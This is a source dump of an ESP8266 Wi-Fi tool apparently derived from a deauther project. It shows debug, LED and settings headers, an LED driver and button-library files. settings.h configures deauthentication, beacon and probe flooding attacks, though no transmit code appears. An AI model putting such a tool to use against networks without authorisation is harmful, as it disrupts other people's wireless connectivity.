https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/in.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/it.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/it.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/ja.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/ja.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/ko.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/ko.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/nl.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/nl.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/pl.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/pl.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/pt-br.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/pt-br.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/ptbr.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/ptbr.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/ro.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/ro.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/ru.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/ru.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/th.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/th.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/tlh.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/tlh.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/uk.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/uk.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/scan.html.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/scan.html.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/settings.html.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/settings.html.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/ssids.html.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/ssids.html.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/style.css.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/style.css.gz -------------------------------------------------------------------------------- /esp8266_wifitools/debug.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include "config.h" 6 | 7 | #include // LONG_MAX 8 | #include // Serial 9 | 10 | #ifdef ENABLE_DEBUG 11 | 12 | #define debug_init()\ 13 | DEBUG_PORT.begin(DEBUG_BAUD);\ 14 | DEBUG_PORT.setTimeout(LONG_MAX);\ 15 | DEBUG_PORT.println(); 16 | 17 | #define debug(...) DEBUG_PORT.print(__VA_ARGS__) 18 | #define debugln(...) DEBUG_PORT.println(__VA_ARGS__) 19 | #define debugf(...) DEBUG_PORT.printf(__VA_ARGS__) 20 | #define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__)) 21 | #define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__)) 22 | 23 | #define debug_available() DEBUG_PORT.available() 24 | #define debug_read() DEBUG_PORT.read() 25 | #define debug_peek() DEBUG_PORT.peek() 26 | 27 | #else /* ifdef ENABLE_DEBUG */ 28 | 29 | #define debug_init() 0 30 | 31 | #define debug(...) 0 32 | #define debugln(...) 0 33 | #define debugf(...) 0 34 | #define debugF(...) 0 35 | #define debuglnF(...) 0 36 | 37 | #define debug_available() 0 38 | #define debug_read() 0 39 | #define debug_peek() 0 40 | 41 | #endif /* ifdef ENABLE_DEBUG */ -------------------------------------------------------------------------------- /esp8266_wifitools/led.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include 6 | 7 | enum LED_MODE { 8 | OFF, 9 | SCAN, 10 | ATTACK, 11 | IDLE 12 | }; 13 | 14 | namespace led { 15 | void setup(); 16 | void update(); 17 | void setMode(LED_MODE new_mode, bool force = false); 18 | void setColor(uint8_t r, uint8_t g, uint8_t b); 19 | } -------------------------------------------------------------------------------- /esp8266_wifitools/settings.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include // Arduino String, Serial 6 | #include "A_config.h" 7 | 8 | // ===== VERSION ===== // 9 | typedef struct version_t { 10 | uint8_t major; 11 | uint8_t minor; 12 | uint8_t revision; 13 | } version_t; 14 | 15 | // ===== AUTOSAVE ===== // 16 | typedef struct autosave_settings_t { 17 | bool enabled; 18 | uint32_t time; 19 | } autosave_t; 20 | 21 | // ===== ATTACK ===== // 22 | typedef enum beacon_interval_t { 23 | INTERVAL_1S = 0, 24 | INTERVAL_100MS = 1 25 | } beacon_interval_t; 26 | 27 | typedef struct attack_settings_t { 28 | // General 29 | bool attack_all_ch; 30 | bool random_tx; 31 | uint32_t timeout; 32 | 33 | // Deauth 34 | uint8_t deauths_per_target; 35 | uint8_t deauth_reason; 36 | 37 | // Beacon 38 | beacon_interval_t beacon_interval; 39 | 40 | // Probe 41 | uint8_t probe_frames_per_ssid; 42 | } attack_settings_t; 43 | 44 | // ====== WIFI ====== // 45 | typedef struct wifi_settings_t { 46 | uint8_t channel; 47 | uint8_t mac_st[6]; 48 | uint8_t mac_ap[6]; 49 | } wifi_settings_t; 50 | 51 | // ===== SNIFFER ===== // 52 | typedef struct sniffer_settings_t { 53 | uint16_t channel_time; 54 | uint16_t min_deauth_frames; 55 | } sniffer_settings_t; 56 | 57 | // ===== ACCESS POINT ===== // 58 | typedef struct access_point_settings_t { 59 | char ssid[33]; 60 | char password[65]; 61 | bool hidden; 62 | uint8_t ip[4]; 63 | } access_point_settings_t; 64 | 65 | // ===== WEB INTERFACE ===== // 66 | typedef struct web_settings_t { 67 | bool enabled; 68 | bool captive_portal; 69 | bool use_spiffs; 70 | char lang[3]; 71 | } web_settings_t; 72 | 73 | // ===== CLI ===== // 74 | typedef struct cli_settings_t { 75 | bool enabled; 76 | bool serial_echo; 77 | } cli_settings_t; 78 | 79 | // ===== LED ===== // 80 | typedef struct led_settings_t { 81 | bool enabled; 82 | } led_settings_t; 83 | 84 | // ===== DISPLAY ===== // 85 | typedef struct display_settings_t { 86 | bool enabled; 87 | uint32_t timeout; 88 | } display_settings_t; 89 | 90 | // ===== SETTINGS ===== // 91 | typedef struct settings_t { 92 | uint32_t magic_num; 93 | version_t version; 94 | autosave_settings_t autosave; 95 | attack_settings_t attack; 96 | wifi_settings_t wifi; 97 | sniffer_settings_t sniffer; 98 | access_point_settings_t ap; 99 | web_settings_t web; 100 | cli_settings_t cli; 101 | led_settings_t led; 102 | display_settings_t display; 103 | } settings_t; 104 | 105 | namespace settings { 106 | void load(); 107 | void save(bool force = false); 108 | 109 | void reset(); 110 | void print(); 111 | 112 | const settings_t& getAllSettings(); 113 | const version_t& getVersion(); 114 | const autosave_settings_t& getAutosaveSettings(); 115 | const attack_settings_t& getAttackSettings(); 116 | const wifi_settings_t& getWifiSettings(); 117 | const sniffer_settings_t& getSnifferSettings(); 118 | const access_point_settings_t& getAccessPointSettings(); 119 | const web_settings_t& getWebSettings(); 120 | const cli_settings_t& getCLISettings(); 121 | const led_settings_t& getLEDSettings(); 122 | const display_settings_t& getDisplaySettings(); 123 | 124 | void setAllSettings(settings_t& settings); 125 | void setAutosaveSettings(const autosave_settings_t& autosave); 126 | void setAttackSettings(const attack_settings_t& attack); 127 | void setWifiSettings(const wifi_settings_t& wifi); 128 | void setSnifferSettings(const sniffer_settings_t& sniffer); 129 | void setAccessPointSettings(const access_point_settings_t& ap); 130 | void setWebSettings(const web_settings_t& web); 131 | void setCLISettings(const cli_settings_t& cli); 132 | void setLEDSettings(const led_settings_t& led); 133 | void setDisplaySettings(const display_settings_t& display); 134 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/Adafruit_NeoPixel-1.7.0/esp8266.c: -------------------------------------------------------------------------------- 1 | // This is a mash-up of the Due show() code + insights from Michael Miller's 2 | // ESP8266 work for the NeoPixelBus library: github.com/Makuna/NeoPixelBus 3 | // Needs to be a separate .c file to enforce ICACHE_RAM_ATTR execution. 4 | 5 | #if defined(ESP8266) 6 | 7 | #include 8 | #ifdef ESP8266 9 | #include 10 | #endif 11 | 12 | static uint32_t _getCycleCount(void) __attribute__((always_inline)); 13 | static inline uint32_t _getCycleCount(void) { 14 | uint32_t ccount; 15 | __asm__ __volatile__("rsr %0,ccount":"=a" (ccount)); 16 | return ccount; 17 | } 18 | 19 | #ifdef ESP8266 20 | void ICACHE_RAM_ATTR espShow( 21 | uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz) { 22 | #else 23 | void espShow( 24 | uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz) { 25 | #endif 26 | 27 | #define CYCLES_800_T0H (F_CPU / 2500000) // 0.4us 28 | #define CYCLES_800_T1H (F_CPU / 1250000) // 0.8us 29 | #define CYCLES_800 (F_CPU / 800000) // 1.25us per bit 30 | #define CYCLES_400_T0H (F_CPU / 2000000) // 0.5uS 31 | #define CYCLES_400_T1H (F_CPU / 833333) // 1.2us 32 | #define CYCLES_400 (F_CPU / 400000) // 2.5us per bit 33 | 34 | uint8_t *p, *end, pix, mask; 35 | uint32_t t, time0, time1, period, c, startTime; 36 | 37 | #ifdef ESP8266 38 | uint32_t pinMask; 39 | pinMask = _BV(pin); 40 | #endif 41 | 42 | p = pixels; 43 | end = p + numBytes; 44 | pix = *p++; 45 | mask = 0x80; 46 | startTime = 0; 47 | 48 | #ifdef NEO_KHZ400 49 | if(is800KHz) { 50 | #endif 51 | time0 = CYCLES_800_T0H; 52 | time1 = CYCLES_800_T1H; 53 | period = CYCLES_800; 54 | #ifdef NEO_KHZ400 55 | } else { // 400 KHz bitstream 56 | time0 = CYCLES_400_T0H; 57 | time1 = CYCLES_400_T1H; 58 | period = CYCLES_400; 59 | } 60 | #endif 61 | 62 | for(t = time0;; t = time0) { 63 | if(pix & mask) t = time1; // Bit high duration 64 | while(((c = _getCycleCount()) - startTime) < period); // Wait for bit start 65 | #ifdef ESP8266 66 | GPIO_REG_WRITE(GPIO_OUT_W1TS_ADDRESS, pinMask); // Set high 67 | #else 68 | gpio_set_level(pin, HIGH); 69 | #endif 70 | startTime = c; // Save start time 71 | while(((c = _getCycleCount()) - startTime) < t); // Wait high duration 72 | #ifdef ESP8266 73 | GPIO_REG_WRITE(GPIO_OUT_W1TC_ADDRESS, pinMask); // Set low 74 | #else 75 | gpio_set_level(pin, LOW); 76 | #endif 77 | if(!(mask >>= 1)) { // Next bit/byte 78 | if(p >= end) break; 79 | pix = *p++; 80 | mask = 0x80; 81 | } 82 | } 83 | while((_getCycleCount() - startTime) < period); // Wait for last bit 84 | } 85 | 86 | #endif // ESP8266 87 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/DS3231-1.0.3/LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/AnalogStick.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_AnalogStick_h 2 | #define SimpleButton_AnalogStick_h 3 | 4 | #include "ButtonPullup.h" 5 | #include "ButtonAnalog.h" 6 | 7 | namespace simplebutton { 8 | class AnalogStick { 9 | public: 10 | Button* button = NULL; 11 | ButtonAnalog* up = NULL; 12 | ButtonAnalog* down = NULL; 13 | ButtonAnalog* left = NULL; 14 | ButtonAnalog* right = NULL; 15 | 16 | AnalogStick(); 17 | AnalogStick(uint8_t xPin, uint8_t yPin, uint8_t buttonPin); 18 | 19 | ~AnalogStick(); 20 | 21 | void setup(uint8_t xPin, uint8_t yPin, uint8_t buttonPin); 22 | 23 | void update(); 24 | void update(uint8_t xValue, uint8_t yValue, bool buttonPress); 25 | 26 | uint8_t getX(); 27 | uint8_t getY(); 28 | 29 | void setButtons(ButtonAnalog* up, ButtonAnalog* down, ButtonAnalog* left, ButtonAnalog* right, 30 | Button* button); 31 | void setLogic(uint16_t logic); 32 | void setLogic(uint16_t logic, uint8_t tolerance); 33 | 34 | void setUpdateInterval(uint32_t updateInterval); 35 | void setDefaultMinPushTime(uint32_t defaultMinPushTime); 36 | void setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime); 37 | void setDefaultTimeSpan(uint32_t defaultTimeSpan); 38 | void setDefaultHoldTime(uint32_t defaultHoldInterval); 39 | 40 | private: 41 | uint16_t logic = 1024; 42 | uint8_t tolerance = 25; // percentage 43 | 44 | uint8_t xValue = 0; 45 | uint8_t yValue = 0; 46 | 47 | uint8_t xPin = 0; 48 | uint8_t yPin = 0; 49 | uint8_t buttonPin = 0; 50 | }; 51 | } 52 | 53 | #endif // ifndef SimpleButton_AnalogStick_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonAnalog.cpp: -------------------------------------------------------------------------------- 1 | #include "ButtonAnalog.h" 2 | 3 | namespace simplebutton { 4 | ButtonAnalog::ButtonAnalog() { 5 | setup(255, 0, 1024); 6 | } 7 | 8 | ButtonAnalog::ButtonAnalog(uint8_t pin) { 9 | setup(pin, 0, 1024); 10 | } 11 | 12 | ButtonAnalog::ButtonAnalog(uint16_t minValue, uint16_t maxValue) { 13 | setup(255, minValue, maxValue); 14 | } 15 | 16 | ButtonAnalog::ButtonAnalog(uint8_t pin, uint16_t minValue, uint16_t maxValue) { 17 | setup(pin, minValue, maxValue); 18 | } 19 | 20 | ButtonAnalog::~ButtonAnalog() {} 21 | 22 | void ButtonAnalog::setup(uint8_t pin, uint16_t minValue, uint16_t maxValue) { 23 | this->button_pin = pin; 24 | this->minValue = minValue; 25 | this->maxValue = maxValue; 26 | enable(); 27 | } 28 | 29 | int ButtonAnalog::read() { 30 | int currentState = 0; 31 | 32 | if (button_enabled && button_setup) { 33 | currentState = analogRead(button_pin); 34 | } 35 | 36 | return currentState; 37 | } 38 | 39 | void ButtonAnalog::update() { 40 | if (millis() - updateTime >= updateInterval) { 41 | Button::updateEvents(); 42 | if (button_enabled && button_setup) update(read()); 43 | } 44 | } 45 | 46 | void ButtonAnalog::update(int state) { 47 | uint16_t newState = state; 48 | 49 | updateTime = millis(); 50 | 51 | value = newState; 52 | 53 | if ((newState >= minValue) && (newState <= maxValue)) push(); 54 | else release(); 55 | } 56 | 57 | void ButtonAnalog::setMin(uint16_t minValue) { 58 | this->minValue = minValue; 59 | } 60 | 61 | void ButtonAnalog::setMax(uint16_t maxValue) { 62 | this->maxValue = maxValue; 63 | } 64 | 65 | void ButtonAnalog::setBounds(uint16_t minValue, uint16_t maxValue) { 66 | setMin(minValue); 67 | setMax(maxValue); 68 | } 69 | 70 | void ButtonAnalog::setValue(int value) { 71 | this->value = (uint16_t)value; 72 | } 73 | 74 | uint16_t ButtonAnalog::getValue() { 75 | return value; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonAnalog.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_ButtonAnalog_h 2 | #define SimpleButton_ButtonAnalog_h 3 | 4 | #include "Button.h" 5 | 6 | 7 | namespace simplebutton { 8 | class ButtonAnalog : public Button { 9 | public: 10 | ButtonAnalog(); 11 | ButtonAnalog(uint8_t pin); 12 | ButtonAnalog(uint16_t minValue, uint16_t maxValue); 13 | ButtonAnalog(uint8_t pin, uint16_t minValue, uint16_t maxValue); 14 | 15 | ~ButtonAnalog(); 16 | 17 | void setup(uint8_t pin, uint16_t minValue, uint16_t maxValue); 18 | 19 | int read(); 20 | 21 | void update(); 22 | void update(int state); 23 | 24 | void setMin(uint16_t minValue); 25 | void setMax(uint16_t maxValue); 26 | void setBounds(uint16_t minValue, uint16_t maxValue); 27 | 28 | uint16_t getValue(); 29 | void setValue(int value); 30 | 31 | private: 32 | uint16_t minValue = 0; 33 | uint16_t maxValue = 1024; 34 | uint16_t value = 0; 35 | }; 36 | } 37 | #endif // ifndef SimpleButton_ButtonAnalog_h 38 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp: -------------------------------------------------------------------------------- 1 | #include "ButtonGPIOExpander.h" 2 | 3 | namespace simplebutton { 4 | ButtonGPIOExpander::ButtonGPIOExpander() { 5 | setup(NULL, 255, false); 6 | } 7 | 8 | ButtonGPIOExpander::ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin) { 9 | setup(pcf, pin, false); 10 | } 11 | 12 | ButtonGPIOExpander::ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin, bool inverted) { 13 | setup(pcf, pin, inverted); 14 | } 15 | 16 | ButtonGPIOExpander::~ButtonGPIOExpander() {} 17 | 18 | void ButtonGPIOExpander::setup(GPIOExpander* pcf, uint8_t pin, bool inverted) { 19 | this->pcf = pcf; 20 | this->button_pin = pin; 21 | this->button_inverted = inverted; 22 | enable(); 23 | } 24 | 25 | void ButtonGPIOExpander::enable() { 26 | button_enabled = true; 27 | 28 | if (pcf) { 29 | pcf->write(button_pin, 0); 30 | if (pcf->connected()) button_setup = true; 31 | } 32 | } 33 | 34 | int ButtonGPIOExpander::read() { 35 | bool currentState = false; 36 | 37 | if (button_enabled && button_setup) { 38 | currentState = pcf->read(button_pin) > 0; 39 | 40 | if (button_inverted) currentState = !currentState; 41 | } 42 | 43 | return (int)currentState; 44 | } 45 | 46 | void ButtonGPIOExpander::update() { 47 | if (button_enabled && button_setup) { 48 | update(read()); 49 | } 50 | } 51 | 52 | void ButtonGPIOExpander::update(int state) { 53 | Button::update(state); 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonGPIOExpander.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_ButtonGPIOExpander_h 2 | #define SimpleButton_ButtonGPIOExpander_h 3 | 4 | #include "Button.h" 5 | #include "../libs/GPIOExpander.h" 6 | #include "../libs/PCF8574.h" 7 | #include "../libs/PCF8575.h" 8 | #include "../libs/MCP23017.h" 9 | 10 | namespace simplebutton { 11 | class ButtonGPIOExpander : public Button { 12 | public: 13 | ButtonGPIOExpander(); 14 | ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin); 15 | ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin, bool inverted); 16 | 17 | virtual ~ButtonGPIOExpander(); 18 | 19 | void setup(GPIOExpander* pcf, uint8_t pin, bool inverted); 20 | 21 | virtual void enable(); 22 | 23 | virtual int read(); 24 | virtual void update(); 25 | virtual void update(int state); 26 | 27 | protected: 28 | GPIOExpander* pcf = NULL; 29 | }; 30 | } 31 | 32 | #endif // ifndef SimpleButton_ButtonGPIOExpander_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullup.cpp: -------------------------------------------------------------------------------- 1 | #include "ButtonPullup.h" 2 | 3 | namespace simplebutton { 4 | ButtonPullup::ButtonPullup() { 5 | setup(255); 6 | } 7 | 8 | ButtonPullup::ButtonPullup(uint8_t pin) { 9 | setup(pin); 10 | } 11 | 12 | ButtonPullup::~ButtonPullup() {} 13 | 14 | void ButtonPullup::setup(uint8_t pin) { 15 | this->button_pin = pin; 16 | this->button_inverted = true; 17 | enable(); 18 | } 19 | 20 | void ButtonPullup::enable() { 21 | button_enabled = true; 22 | 23 | if ((button_pin < 255) && !button_setup) { 24 | pinMode(button_pin, INPUT_PULLUP); 25 | button_setup = true; 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullup.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_ButtonPullup_h 2 | #define SimpleButton_ButtonPullup_h 3 | 4 | #include "Button.h" 5 | 6 | namespace simplebutton { 7 | class ButtonPullup : public Button { 8 | public: 9 | ButtonPullup(); 10 | ButtonPullup(uint8_t pin); 11 | 12 | ~ButtonPullup(); 13 | 14 | void setup(uint8_t pin); 15 | 16 | void enable(); 17 | }; 18 | } 19 | 20 | #endif // ifndef SimpleButton_ButtonPullup_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.cpp: -------------------------------------------------------------------------------- 1 | #include "ButtonPullupGPIOExpander.h" 2 | 3 | namespace simplebutton { 4 | ButtonPullupGPIOExpander::ButtonPullupGPIOExpander() { 5 | setup(NULL, 255); 6 | } 7 | 8 | ButtonPullupGPIOExpander::ButtonPullupGPIOExpander(GPIOExpander* pcf, uint8_t pin) { 9 | setup(pcf, pin); 10 | } 11 | 12 | ButtonPullupGPIOExpander::~ButtonPullupGPIOExpander() {} 13 | 14 | void ButtonPullupGPIOExpander::setup(GPIOExpander* pcf, uint8_t pin) { 15 | this->pcf = pcf; 16 | this->button_pin = pin; 17 | this->button_inverted = true; 18 | enable(); 19 | } 20 | 21 | void ButtonPullupGPIOExpander::enable() { 22 | button_enabled = true; 23 | 24 | if (pcf) { 25 | pcf->write(button_pin, 1); 26 | if (pcf->connected()) button_setup = true; 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_ButtonPullupGPIOExpander_h 2 | #define SimpleButton_ButtonPullupGPIOExpander_h 3 | 4 | #include "ButtonGPIOExpander.h" 5 | 6 | namespace simplebutton { 7 | class ButtonPullupGPIOExpander : public ButtonGPIOExpander { 8 | public: 9 | ButtonPullupGPIOExpander(); 10 | ButtonPullupGPIOExpander(GPIOExpander* pcf, uint8_t pin); 11 | 12 | ~ButtonPullupGPIOExpander(); 13 | 14 | void setup(GPIOExpander* pcf, uint8_t pin); 15 | 16 | void enable(); 17 | }; 18 | } 19 | 20 | #endif // ifndef SimpleButton_ButtonPullupGPIOExpander_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/PS2Gamepad.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_PS2Gamepad_h 2 | #define SimpleButton_PS2Gamepad_h 3 | 4 | #include "Button.h" 5 | #include "AnalogStick.h" 6 | 7 | namespace simplebutton { 8 | class PS2Gamepad { 9 | public: 10 | ButtonAnalog* up = NULL; 11 | ButtonAnalog* down = NULL; 12 | ButtonAnalog* left = NULL; 13 | ButtonAnalog* right = NULL; 14 | 15 | ButtonAnalog* l1 = NULL; 16 | ButtonAnalog* l2 = NULL; 17 | ButtonAnalog* r1 = NULL; 18 | ButtonAnalog* r2 = NULL; 19 | 20 | ButtonAnalog* square = NULL; 21 | ButtonAnalog* triangle = NULL; 22 | ButtonAnalog* cross = NULL; 23 | ButtonAnalog* circle = NULL; 24 | 25 | Button* select = NULL; 26 | Button* start = NULL; 27 | 28 | AnalogStick* analogLeft = NULL; 29 | AnalogStick* analogRight = NULL; 30 | 31 | PS2Gamepad(); 32 | PS2Gamepad(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog = true); 33 | ~PS2Gamepad(); 34 | 35 | void setup(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog = true); 36 | void reconfig(); 37 | 38 | void update(); 39 | 40 | String getError(); 41 | 42 | bool connected(); 43 | 44 | void setUpdateInterval(uint32_t updateInterval); 45 | void setMotors(uint8_t motorA, uint8_t motorB); 46 | 47 | private: 48 | void poll(); 49 | void poll(uint8_t motorA, uint8_t motorB); 50 | 51 | bool getDigitalValue(uint8_t button); 52 | uint8_t getAnalogValue(uint8_t button); 53 | 54 | // config 55 | uint8_t motorA = 0x00; // 0 = OFF, 1 = ONN 56 | uint8_t motorB = 0x00; // usually 0-39 = OFF, 40 - 255 = ON 57 | 58 | bool rumbleEnabled = false; 59 | bool pressureEnabled = false; 60 | 61 | uint32_t updateInterval = 25; 62 | 63 | // class variables 64 | bool is_connected = false; 65 | 66 | uint8_t errorCode = 0; 67 | uint8_t controllerType = 0; 68 | uint8_t gamepadData[21]; 69 | 70 | uint16_t buttonData = 0; 71 | uint16_t prevButtonData = 0; 72 | 73 | uint32_t lastPoll = 0; 74 | 75 | uint8_t clockPin = 0; 76 | uint8_t cmdPin = 0; 77 | uint8_t attPin = 0; 78 | uint8_t dataPin = 0; 79 | 80 | // in/output 81 | uint8_t shift(uint8_t data); 82 | 83 | // commands 84 | void sendEnter(); 85 | void sendMode(); 86 | void sendRumble(); 87 | void sendBytesLarge(); 88 | void sendExit(); 89 | void sendRead(); 90 | }; 91 | } 92 | 93 | #endif // ifndef SimpleButton_PS2Gamepad_h 94 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/RotaryEncoder.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_RotaryEncoder_h 2 | #define SimpleButton_RotaryEncoder_h 3 | 4 | #include "Button.h" 5 | #include "ButtonPullup.h" 6 | #include "ButtonGPIOExpander.h" 7 | #include "ButtonPullupGPIOExpander.h" 8 | 9 | namespace simplebutton { 10 | class RotaryEncoder { 11 | public: 12 | Button* button = NULL; 13 | Button* clockwise = NULL; 14 | Button* anticlockwise = NULL; 15 | 16 | RotaryEncoder(); 17 | RotaryEncoder(uint8_t channelA, uint8_t channelB, uint8_t button); 18 | RotaryEncoder(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button); 19 | RotaryEncoder(Button* clockwise, Button* anticlockwise, Button* button); 20 | 21 | ~RotaryEncoder(); 22 | 23 | void setup(uint8_t channelA, uint8_t channelB, uint8_t button); 24 | void setup(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button); 25 | void setup(Button* clockwise, Button* anticlockwise, Button* button); 26 | 27 | void update(); 28 | void update(bool stateA, bool stateB, bool buttonState); 29 | 30 | void reset(); 31 | 32 | int32_t getPos(); 33 | 34 | void setButtons(Button* clockwise, Button* anticlockwise, Button* button); 35 | void setPos(int32_t pos); 36 | void enableLoop(bool loop); 37 | void setEncoding(uint8_t steps); 38 | void setMin(int32_t value); 39 | void setMax(int32_t value); 40 | void setInverted(bool inverted); 41 | 